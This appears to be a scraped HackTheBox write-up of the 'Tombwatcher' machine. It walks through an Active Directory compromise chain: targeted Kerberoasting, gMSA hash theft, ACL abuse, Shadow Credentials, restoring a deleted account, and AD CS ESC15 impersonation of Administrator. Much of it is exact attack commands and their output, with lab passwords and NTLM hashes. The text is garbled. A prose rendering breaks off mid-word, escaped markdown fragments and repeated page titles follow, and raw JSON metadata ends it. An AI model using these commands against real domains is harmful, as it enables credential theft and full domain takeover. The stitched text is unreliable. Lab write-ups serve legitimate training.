Tombwatcher HTB

TOMBWATCHER Attack Overview This machine focused heavily on Active Directory ACL abuse and modern AD CS exploitation techniques. The attack began with valid low-privileged domain credentials for the henry user. BloodHound enumeration revealed a chain of misconfigured permissions that allowed lateral movement across multiple accounts. The initial foothold abused WriteSPN over the alfred account to perform targeted Kerberoasting and recover credentials. Membership manipulation inside the Infrastructure group then allowed retrieval of gMSA account hashes. The compromised gMSA account had ForceChangePassword rights over another user, enabling takeover of the sam account. From there, WriteOwner abuse against the john account allowed escalation through ACL manipulation and a Shadow Credentials attack. After compromising john, further BloodHound enumeration revealed GenericAll permissions over the ADCS organizational unit. Investigation of certificate templates uncovered an orphaned SID belonging to a deleted cert_admin account. Since Active Directory Recycle Bin was enabled, the deleted account was restored and its password reset. Finally, the restored cert_admin account was used to exploit an ESC15 Active Directory Certificate Services misconfiguration, allowing certificate-based impersonation of the Administrator account and full domain compromise. Attack Path Validate provided domain credentials (henry) Enumerate Active Directory using BloodHound Abuse WriteSPN over alfred Perform targeted Kerberoasting Crack alfred password Add alfred to Infrastructure Retrieve gMSA password hashes Abuse ForceChangePassword over sam Abuse WriteOwner over john Grant GenericAll and perform Shadow Credentials attack Obtain WinRM access as john Discover orphaned ADCS permissions Restore deleted cert_admin account Reset cert_admin password Exploit AD CS ESC15 Impersonate Administrator Gain full Domain Administrator access Nmap Scan Nmap Scan Analysis From the Nmap scan we can observe that the target is a Windows Active Directory Domain Controller. The following important services were discovered: | Port | Service | Description | |---|---|---| | 53 | DNS | Domain Name Service | | 80 | HTTP | Microsoft IIS Web Server | | 88 | Kerberos | Kerberos Authentication | | 135 | MSRPC | Microsoft Remote Procedure Call | | 139 | NetBIOS | SMB Session Service | | 389 | LDAP | Active Directory LDAP | | 445 | SMB | File Sharing / SMB | | 464 | kpasswd | Kerberos Password Change | | 593 | RPC over HTTP | Windows RPC over HTTP | | 636 | LDAPS | Secure LDAP | | 3268 | Global Catalog LDAP | AD Forest Search | | 3269 | Global Catalog LDAPS | Secure AD Forest Search | | 5985 | WinRM | Windows Remote Management | Important observations: The target is a Domain Controller SMB signing is enabled and required WinRM is enabled on port 5985 Active Directory services are exposed LDAP and Kerberos are available IIS web server is running on port 80 From the scan results, the following hostnames were identified: These were added to the local /etc/hosts file for proper hostname resolution: Provided Credentials As is common in real-world internal Active Directory assessments, valid domain credentials were already provided for the initial foothold. SMB Enumeration Since valid domain credentials were already provided, the next step was to validate access against SMB services. Using nxc: The credentials were valid successfully. At this stage we confirmed: valid domain credentials successful SMB authentication Active Directory access Enumerating SMB Shares The next step was to enumerate accessible SMB shares. Important observations: SMB signing was enforced no writable shares were available NETLOGON and SYSVOL were readable this confirmed the machine was functioning as a Domain Controller Enumerating Domain Users User enumeration was performed using: A total of seven domain users were identified. At this stage: valid usernames were collected several attack paths became possible BloodHound enumeration became the next logical step BloodHound Enumeration To enumerate Active Directory relationships, ACLs, and attack paths, BloodHound data collection was performed using: The resulting ZIP file was imported into BloodHound Community Edition. image Analyzing BloodHound Relationships The henry user was marked as owned inside BloodHound and outbound object control was inspected. image BloodHound revealed an important permission: This was highly interesting because WriteSPN can be abused for: targeted Kerberoasting SPN manipulation offline password cracking Understanding Kerberoasting Kerberoasting is an Active Directory attack technique where: attackers request Kerberos service tickets for accounts associated with Service Principal Names (SPNs) The returned Kerberos tickets contain: crackable password material encrypted using the target account password These hashes can then be cracked offline using: Hashcat John the Ripper If successful, the attacker recovers the plaintext password of the service account. Understanding WriteSPN WriteSPN is a dangerous Active Directory permission that allows a user to: modify the servicePrincipalName attribute of another user account This can be abused to: add a fake SPN to a target user request a Kerberos service ticket extract the TGS hash crack the password offline This technique is commonly called: targeted Kerberoasting At this stage, it was confirmed that: henry could modify the SPN of alfred Confirming Writable Permissions To verify BloodHound findings, bloodyAD was used: This confirmed that: henry had write permissions over the Alfred account Adding a Fake SPN A fake SPN was added to the alfred user: Verifying the SPN: The account was now kerberoastable. Fixing Clock Skew Kerberos is extremely sensitive to time synchronization. Since the Nmap scan earlier revealed clock skew, system time was synchronized using: This ensured Kerberos ticket requests would function correctly. Requesting Alfred's Kerberos Ticket Using GetUserSPNs.py, a TGS ticket was requested for the alfred user: The command successfully returned a Kerberos TGS hash: At this point: targeted Kerberoasting succeeded a crackable Kerberos ticket was obtained Cracking the Kerberos Hash The extracted TGS hash was saved into a file and cracked using Hashcat. The password was cracked successfully: Recovered credentials: | Username | Password | |---|---| | alfred | basketball | Validating Alfred Credentials The recovered credentials were validated against SMB: The credentials were valid successfully. At this stage: alfred account compromise was achieved lateral movement to another domain user succeeded Discovering Group Control After marking alfred as owned inside BloodHound, another attack path was revealed. image BloodHound showed that: alfred could add members to the Infrastructure group This was important because: the Infrastructure group had permissions to read Group Managed Service Account (gMSA) passwords Adding Alfred to Infrastructure Group Using bloodyAD, the alfred user was added to the Infrastructure group: Retrieving gMSA Passwords Now that alfred belonged to the required group, gMSA password enumeration was possible. Using: The NTLM hash for the ansible_dev$ gMSA account was successfully retrieved. Validating gMSA Credentials The gMSA hash was validated: The hash was valid successfully. Discovering ForceChangePassword Rights After marking ansible_dev$ as owned inside BloodHound: image BloodHound revealed that: ansible_dev$ had ForceChangePassword over the sam user This permission allows changing another user's password without knowing the current password. Changing Sam's Password Using bloodyAD, the password for sam was reset: Validating Sam Credentials The newly set password was validated: The sam user was then marked as owned inside BloodHound for further attack path analysis. Abusing WriteOwner on John After marking the sam user as owned inside BloodHound, another important relationship was discovered. image The sam user had: This is a powerful Active Directory permission. Understanding WriteOwner Abuse WriteOwner allows a user to: change the owner of another Active Directory object In Active Directory, the owner of an object can: modify ACLs assign permissions grant full control rights This means: sam can become owner of the john account as owner, sam can grant itself GenericAll GenericAll gives full control over the account Once full control is obtained, several attack paths become possible: reset the target password perform targeted Kerberoasting add Shadow Credentials retrieve NTLM hashes In this case, Shadow Credentials were chosen because: they avoid changing passwords they are stealthier they allow direct authentication as the victim Want to learn more about Shadow Credentials? Taking Ownership of John Using bloodyAD, ownership of the john account was transferred to sam: At this point: sam became owner of the john account Granting GenericAll Now that sam owned the object, full control permissions were granted: This effectively gave: complete control over john including credential abuse capabilities Performing the Shadow Credentials Attack With GenericAll access established, certipy was used to perform a Shadow Credentials attack. The Shadow Credentials attack succeeded successfully. Recovered hash: | User | NTLM Hash | |---|---| | john | ad9324754583e3e42b55aad4d3b8d2bf | Validating John Access The hash was validated against WinRM: This confirmed: valid WinRM access remote shell access capability Shell as John Using Evil-WinRM: A shell as john was obtained successfully. User Flag Privilege Escalation After marking john as owned inside BloodHound, further enumeration revealed another interesting relationship. image The john user had: This was extremely interesting because: the OU contained certificate-related accounts AD CS misconfigurations are often highly exploitable privilege escalation through certificate abuse became likely Enumerating Certificate Templates Using Certipy: After reviewing the output, something suspicious appeared inside one of the certificate templates. image A raw SID appeared instead of a username. This usually indicates: deleted user objects orphaned ACL entries stale Active Directory permissions Investigating the Unknown SID Attempts to resolve the SID failed: This confirmed: the SID no longer mapped to a valid AD object but permissions referencing the SID still existed This strongly suggested: a deleted user account with leftover AD CS permissions Finding Deleted Objects Using PowerShell with deleted object enumeration: The deleted object was identified successfully. The SID belonged to: cert_admin Checking Recycle Bin Status Before restoring deleted objects, Active Directory Recycle Bin support was verified. The feature was enabled successfully. Reference: Restoring cert_admin The deleted account was restored: Verifying restoration: The cert_admin account was restored successfully. Resetting cert_admin Password Since john had GenericAll over the ADCS OU, password reset permissions were available. Using bloodyAD: Validating access: Discovering ESC15 Using Certipy again: The environment was vulnerable to: Reference: Understanding ESC15 ESC15 abuses: vulnerable Version 1 certificate templates combined with arbitrary application policy injection This allows attackers to: create certificates with dangerous EKUs become enrollment agents request certificates on behalf of other users impersonate Domain Administrators This ultimately leads to: full domain compromise Requesting Enrollment Agent Certificate Using the vulnerable WebServer template: An Enrollment Agent certificate was obtained successfully. Requesting Administrator Certificate Using the Enrollment Agent certificate: A valid Administrator certificate was issued successfully. Authenticating as Administrator Using the generated PFX file: The NTLM hash for the Administrator account was retrieved successfully. Shell as Administrator Using Evil

Tombwatcher HTB Writeup & Walkthrough | Pentest Notes

Tombwatcher HTB

gMSA account was successfully retrieved.\n\n\n## {lime:Validating gMSA Credentials}\n\nThe gMSA hash was validated:\n\n``` bash\nnxc smb DC01.tombwatcher.htb -u 'ANSIBLE_DEV -H cba56cd2df7d642f622e2a59956f6d47\nSMB 10.129.232.167 445 DC01 [+] tombwatcher.htb\\ANSIBLE_DEV$:cba56cd2df7d642f622e2a59956f6d47\n```\n\nThe hash was valid successfully.\n\n\n## {lime:Discovering ForceChangePassword Rights}\n\nAfter marking `ansible_dev Tombwatcher HTB Writeup & Walkthrough | Pentest Notes

Tombwatcher HTB

as owned inside BloodHound:\n\n![image](/uploads/tombwatcher-htb/images/img120)\n\nBloodHound revealed that:\n- `ansible_dev Tombwatcher HTB Writeup & Walkthrough | Pentest Notes

Tombwatcher HTB

\n- had `ForceChangePassword`\n- over the `sam` user\n\nThis permission allows changing another user's password without knowing the current password.\n\n## {lime:Changing Sam's Password}\n\nUsing `bloodyAD`, the password for `sam` was reset:\n\n``` bash\nbloodyAD -d tombwatcher.htb -u 'ANSIBLE_DEV -p ':cba56cd2df7d642f622e2a59956f6d47' --host dc01.tombwatcher.htb set password \"sam\" \"Pentestnotes@123\"\n[+] Password changed successfully!\n```\n\n\n## {lime:Validating Sam Credentials}\n\nThe newly set password was validated:\n\n``` bash\nnxc smb DC01.tombwatcher.htb -u sam -p Pentestnotes@123\nSMB 10.129.232.167 445 DC01 [+] tombwatcher.htb\\sam:Pentestnotes@123\n```\n\nThe `sam` user was then marked as owned inside BloodHound for further attack path analysis.\n\n## {lime:Abusing WriteOwner on John}\n\nAfter marking the `sam` user as owned inside BloodHound, another important relationship was discovered.\n\n![image](/uploads/tombwatcher-htb/images/img121)\n\nThe `sam` user had:\n\n``` textbox\nWriteOwner over john\n```\n\nThis is a powerful Active Directory permission.\n\n\n\n## {lime:Understanding WriteOwner Abuse}\n\n`WriteOwner` allows a user to:\n- change the owner of another Active Directory object\n\nIn Active Directory, the owner of an object can:\n- modify ACLs\n- assign permissions\n- grant full control rights\n\nThis means:\n1. `sam` can become owner of the `john` account\n2. as owner, `sam` can grant itself `GenericAll`\n3. `GenericAll` gives full control over the account\n\nOnce full control is obtained, several attack paths become possible:\n- reset the target password\n- perform targeted Kerberoasting\n- add Shadow Credentials\n- retrieve NTLM hashes\n\nIn this case, Shadow Credentials were chosen because:\n- they avoid changing passwords\n- they are stealthier\n- they allow direct authentication as the victim\n\nWant to learn more about Shadow Credentials?\n\n``` url\nhttps://www.hackingarticles.in/shadow-credentials-attack/\n```\n\n\n## {lime:Taking Ownership of John}\n\nUsing `bloodyAD`, ownership of the `john` account was transferred to `sam`:\n\n``` bash\nbloodyAD -d DC01.tombwatcher.htb -u sam -p 'Pentestnotes@123' --host dc01.tombwatcher.htb set owner john sam\n[+] Old owner S-1-5-21-1392491010-1358638721-2126982587-512 is now replaced by sam on john\n```\n\nAt this point:\n- `sam`\n- became owner of the `john` account\n\n\n## {lime:Granting GenericAll}\n\nNow that `sam` owned the object, full control permissions were granted:\n\n``` bash\nbloodyAD -d DC01.tombwatcher.htb -u sam -p 'Pentestnotes@123' --host dc01.tombwatcher.htb add genericAll john sam\n[+] sam has now GenericAll on john\n```\n\nThis effectively gave:\n- complete control over `john`\n- including credential abuse capabilities\n\n\n## {lime:Performing the Shadow Credentials Attack}\n\nWith `GenericAll` access established, `certipy` was used to perform a Shadow Credentials attack.\n\n``` bash\ncertipy shadow auto -target dc01.tombwatcher.htb -u sam -p 'Pentestnotes@123' -account john\n[*] Targeting user 'john'\n[*] Generating certificate\n[*] Certificate generated\n[*] Adding Key Credential to 'john'\n[*] Successfully added Key Credential\n[*] Authenticating as 'john' with the certificate\n[*] Got TGT\n[*] Trying to retrieve NT hash for 'john'\n\n[*] NT hash for 'john': ad9324754583e3e42b55aad4d3b8d2bf\n```\n\nThe Shadow Credentials attack succeeded successfully.\n\nRecovered hash:\n\n| User | NTLM Hash |\n|---|---|\n| john | ad9324754583e3e42b55aad4d3b8d2bf |\n\n\n## {lime:Validating John Access}\n\nThe hash was validated against WinRM:\n\n``` bash\nnxc winrm dc01.tombwatcher.htb -u john -H ad9324754583e3e42b55aad4d3b8d2bf\nWINRM 10.129.232.167 5985 DC01 [+] tombwatcher.htb\\john:ad9324754583e3e42b55aad4d3b8d2bf (Pwn3d!)\n```\n\nThis confirmed:\n- valid WinRM access\n- remote shell access capability\n\n## {lime:Shell as John}\n\nUsing Evil-WinRM:\n\n``` bash\nevil-winrm -i dc01.tombwatcher.htb -u john -H ad9324754583e3e42b55aad4d3b8d2bf\n*Evil-WinRM* PS C:\\Users\\john\\Documents>\n```\n\nA shell as `john` was obtained successfully.\n\n\n## {lime:User Flag}\n\n``` bash\n*Evil-WinRM* PS C:\\Users\\john\\Desktop> type user.txt\n\n*********4dce171c8afecde0515d\n```\n\n\n## {lime:Privilege Escalation}\n\nAfter marking `john` as owned inside BloodHound, further enumeration revealed another interesting relationship.\n\n![image](/uploads/tombwatcher-htb/images/img122)\n\nThe `john` user had:\n\n``` textbox\nGenericAll over ADCS OU\n```\n\nThis was extremely interesting because:\n- the OU contained certificate-related accounts\n- AD CS misconfigurations are often highly exploitable\n- privilege escalation through certificate abuse became likely\n\n## {lime:Enumerating Certificate Templates}\n\nUsing Certipy:\n\n``` bash\ncertipy find -target dc01.tombwatcher.htb -u john -hashes :ad9324754583e3e42b55aad4d3b8d2bf\n```\n\nAfter reviewing the output, something suspicious appeared inside one of the certificate templates.\n\n![image](/uploads/tombwatcher-htb/images/img123)\n\n``` textbox\nEnrollment Rights:\nDomain Admins\nEnterprise Admins\nS-1-5-21-1392491010-1358638721-2126982587-1111\n```\n\nA raw SID appeared instead of a username.\n\nThis usually indicates:\n- deleted user objects\n- orphaned ACL entries\n- stale Active Directory permissions\n\n\n## {lime:Investigating the Unknown SID}\n\nAttempts to resolve the SID failed:\n\n``` powershell\n$objSID = New-Object System.Security.Principal.SecurityIdentifier(\"S-1-5-21-1392491010-1358638721-2126982587-1111\")\n\n$objSID.Translate([System.Security.Principal.NTAccount])\n```\n\n``` textbox\nIdentityNotMappedException\n```\n\nThis confirmed:\n- the SID no longer mapped to a valid AD object\n- but permissions referencing the SID still existed\n\nThis strongly suggested:\n- a deleted user account\n- with leftover AD CS permissions\n\n\n## {lime:Finding Deleted Objects}\n\nUsing PowerShell with deleted object enumeration:\n\n``` powershell\nGet-ADObject -IncludeDeletedObjects -Filter 'ObjectSID -eq \"S-1-5-21-1392491010-1358638721-2126982587-1111\"' -Properties *\n```\n\nThe deleted object was identified successfully.\n\n``` textbox\nName : cert_admin\nDeleted : True\n```\n\nThe SID belonged to:\n- `cert_admin`\n\n\n## {lime:Checking Recycle Bin Status}\n\nBefore restoring deleted objects, Active Directory Recycle Bin support was verified.\n\n``` powershell\nGet-ADOptionalFeature 'Recycle Bin Feature'\n```\n\nThe feature was enabled successfully.\n\nReference:\n\n``` url\nhttps://activedirectorypro.com/enable-active-directory-recycle-bin-server-2016/\n```\n\n## {lime:Restoring cert_admin}\n\nThe deleted account was restored:\n\n``` powershell\nRestore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf\n```\n\nVerifying restoration:\n\n``` powershell\nGet-ADUser cert_admin\nName : cert_admin\nEnabled : True\n```\n\nThe `cert_admin` account was restored successfully.\n\n\n## {lime:Resetting cert_admin Password}\n\nSince `john` had `GenericAll` over the ADCS OU, password reset permissions were available.\n\nUsing `bloodyAD`:\n\n``` bash\nbloodyAD -d tombwatcher.htb -u john -p ':ad9324754583e3e42b55aad4d3b8d2bf' --host dc01.tombwatcher.htb set password cert_admin 'Pentestnotes@123'\n[+] Password changed successfully!\n```\n\nValidating access:\n\n``` bash\nnxc smb dc01.tombwatcher.htb -u cert_admin -p Pentestnotes@123\n[+] tombwatcher.htb\\cert_admin:Pentestnotes@123\n```\n\n\n## {lime:Discovering ESC15}\n\nUsing Certipy again:\n\n``` bash\ncertipy find -target dc01.tombwatcher.htb -u cert_admin -p 'Pentestnotes@123' -vulnerable -stdout\nESC15 : Enrollee supplies subject and schema version is 1.\n```\n\nThe environment was vulnerable to:\n\n``` textbox\nESC15 — Arbitrary Application Policy Injection\n(CVE-2024-49019 / EKUwu)\n```\n\nReference:\n\n``` url\nhttps://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation\n```\n\n## {lime:Understanding ESC15}\n\nESC15 abuses:\n- vulnerable Version 1 certificate templates\n- combined with arbitrary application policy injection\n\nThis allows attackers to:\n- create certificates with dangerous EKUs\n- become enrollment agents\n- request certificates on behalf of other users\n- impersonate Domain Administrators\n\nThis ultimately leads to:\n- full domain compromise\n\n## {lime:Requesting Enrollment Agent Certificate}\n\nUsing the vulnerable `WebServer` template:\n\n``` bash\ncertipy req -u cert_admin -p 'Pentestnotes@123' -dc-ip 10.129.232.167 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template WebServer -upn [email protected] -application-policies 'Certificate Request Agent'\n[*] Successfully requested certificate\n[*] Saving certificate and private key to 'administrator.pfx'\n```\n\nAn Enrollment Agent certificate was obtained successfully.\n\n## {lime:Requesting Administrator Certificate}\n\nUsing the Enrollment Agent certificate:\n\n``` bash\ncertipy req -u cert_admin -p 'Pentestnotes@123' -dc-ip 10.129.232.167 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template User -pfx administrator.pfx -on-behalf-of 'tombwatcher\\Administrator'\n[*] Successfully requested certificate\n[*] Certificate object SID is:\nS-1-5-21-1392491010-1358638721-2126982587-500\n```\n\nA valid Administrator certificate was issued successfully.\n\n## {lime:Authenticating as Administrator}\n\nUsing the generated PFX file:\n\n``` bash\ncertipy auth -pfx administrator.pfx -dc-ip 10.129.232.167\n[*] Got hash for '[email protected]':\naad3b435b51404eeaad3b435b51404ee:f61db423bebe3328d33af26741afe5fc\n```\n\nThe NTLM hash for the Administrator account was retrieved successfully.\n\n## {lime:Shell as Administrator}\n\nUsing Evil-WinRM:\n\n``` bash\nevil-winrm -i dc01.tombwatcher.htb -u Administrator -H f61db423bebe3328d33af26741afe5fc\n*Evil-WinRM* PS C:\\Users\\Administrator\\Documents>\n```\nFull Domain Administrator access was achieved successfully.\n\n## {lime:Root Flag}\n\n``` bash\n*Evil-WinRM* PS C:\\Users\\Administrator\\Desktop> type root.txt\n********a0bf8ba4eed3a02e8a8f69\n```\n## {lime:Final Thoughts}\n\nTombWatcher was a really well-designed Active Directory machine that focused heavily on chaining permissions and abusing modern AD attack paths.\n\nWhat started with a simple low-privileged domain account eventually led to full Domain Administrator compromise through:\n- ACL abuse\n- Kerberoasting\n- gMSA abuse\n- Shadow Credentials\n- and AD CS ESC15 exploitation\n\nThe most interesting part of the box was definitely the restoration of a deleted AD object and abusing its leftover certificate permissions for privilege escalation. That felt very realistic and different from typical AD boxes.\n\nOverall, this machine was an excellent example of how dangerous misconfigured Active Directory permissions can become when chained together properly.\n\nSee you in the next writeup. \n{red:Happy hacking!}\n\n```","excerpt":"TombWatcher is a medium-difficulty Windows machine that focuses on Active Directory privilege escalation through a chained abuse of domain object permissions. The attack starts with the provided credentials for the user henry, who possesses WriteSPN rights over the account alfred. This access is leveraged to carry out a targeted Kerberoasting attack, allowing the alfred user’s password to be cracked and yielding control over an account that can add itself to the INFRASTRUCTURE group. Being a member of this group allows you to retrieve the gMSA password for the ansible_dev$ managed service account. This account has the privilege to reset the password for the user sam, which becomes the next pivot point. Through the sam user, WriteOwner permissions over the user john are abused to obtain a GenericAll ACE, enabling a password reset and full access to the john user, who is a member of the Remote Management Users group. This provides an interactive shell and access to the user flag. Privilege escalation to Administrator is then achieved by abusing john user’s GenericAll rights over the ADCS organizational unit. A previously deleted account, cert_admin, is restored using the Active Directory Recycle Bin, its password is reset, and it is leveraged to exploit ESC15 against a misconfigured WebServer certificate template. This ultimately allows the issuance of a certificate for Administrator, resulting in full domain compromise.","difficulty":"Medium","category_id":"23","author_id":"33","tags":["HackTheBox","Active Directory","BloodHound","Kerberoasting","Shadow Credentials","AD CS","ESC15","Certipy","ACL Abuse","Windows"],"ctf_name":"HackTheBox","ctf_year":2026,"is_locked":0,"published_at":"2026-05-28T14:34:27.000Z","thumbnail_url":"/uploads/tombwatcher-htb/images/img491","writeup_type":"AD","views":38,"moderation_status":"published","publish_requested":0,"approved_by":null,"is_hidden":0,"deleted_at":null,"created_at":"2026-05-28T14:34:27.017Z","updated_at":"2026-05-29T19:09:57.281Z","machine_os":"linux","machine_os_icon_url":"","read_time_minutes":240,"locked_description":null,"release_date":"2025-06-07T00:00:00.000Z","machine_status":"Retired","attack_path":null,"client_request_id":null,"category_name":"HTB","category_slug":"htb","category_color":"#334155","category_icon":"W","category_icon_type":"image","category_icon_image_url":"/uploads/htb/images/img531","author_username":"Madhav","commands_used":["nmap 10.129.232.167 -sV -A","echo \"10.129.232.167 DC01.tombwatcher.htb tombwatcher.htb\" | sudo tee -a /etc/hosts","nxc smb 10.129.232.167 -u henry -p 'H3nry_987TGV!'","nxc smb 10.129.232.167 -u henry -p 'H3nry_987TGV!' --shares","nxc smb 10.129.232.167 -u henry -p 'H3nry_987TGV!' --users","nxc ldap 10.129.232.167 -u henry -p 'H3nry_987TGV!' --bloodhound --dns-server 10.129.232.167 --collection All","bloodyAD --host 10.129.232.167 -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' get writable","bloodyAD --host 10.129.232.167 -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' set object alfred servicePrincipalName -v HTTP/fake","bloodyAD --host 10.129.232.167 -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' get object alfred --attr servicePrincipalName","sudo ntpdate tombwatcher.htb","GetUserSPNs.py tombwatcher.htb/henry:'H3nry_987TGV!' -dc-ip 10.129.232.167 -request-user alfred","hashcat -m 13100 alfred-user /usr/share/wordlists/rockyou.txt","nxc smb tombwatcher.htb -u alfred -p basketball","bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u alfred -p basketball add groupMember Infrastructure alfred","nxc ldap dc01.tombwatcher.htb -u alfred -p basketball --gmsa","nxc smb DC01.tombwatcher.htb -u 'ANSIBLE_DEV -H cba56cd2df7d642f622e2a59956f6d47","bloodyAD -d tombwatcher.htb -u 'ANSIBLE_DEV -p ':cba56cd2df7d642f622e2a59956f6d47' --host dc01.tombwatcher.htb set password \"sam\" \"Pentestnotes@123\"","nxc smb DC01.tombwatcher.htb -u sam -p Pentestnotes@123","bloodyAD -d DC01.tombwatcher.htb -u sam -p 'Pentestnotes@123' --host dc01.tombwatcher.htb set owner john sam","bloodyAD -d DC01.tombwatcher.htb -u sam -p 'Pentestnotes@123' --host dc01.tombwatcher.htb add genericAll john sam","certipy shadow auto -target dc01.tombwatcher.htb -u sam -p 'Pentestnotes@123' -account john","nxc winrm dc01.tombwatcher.htb -u john -H ad9324754583e3e42b55aad4d3b8d2bf","evil-winrm -i dc01.tombwatcher.htb -u john -H ad9324754583e3e42b55aad4d3b8d2bf","certipy find -target dc01.tombwatcher.htb -u john -hashes :ad9324754583e3e42b55aad4d3b8d2bf"]}}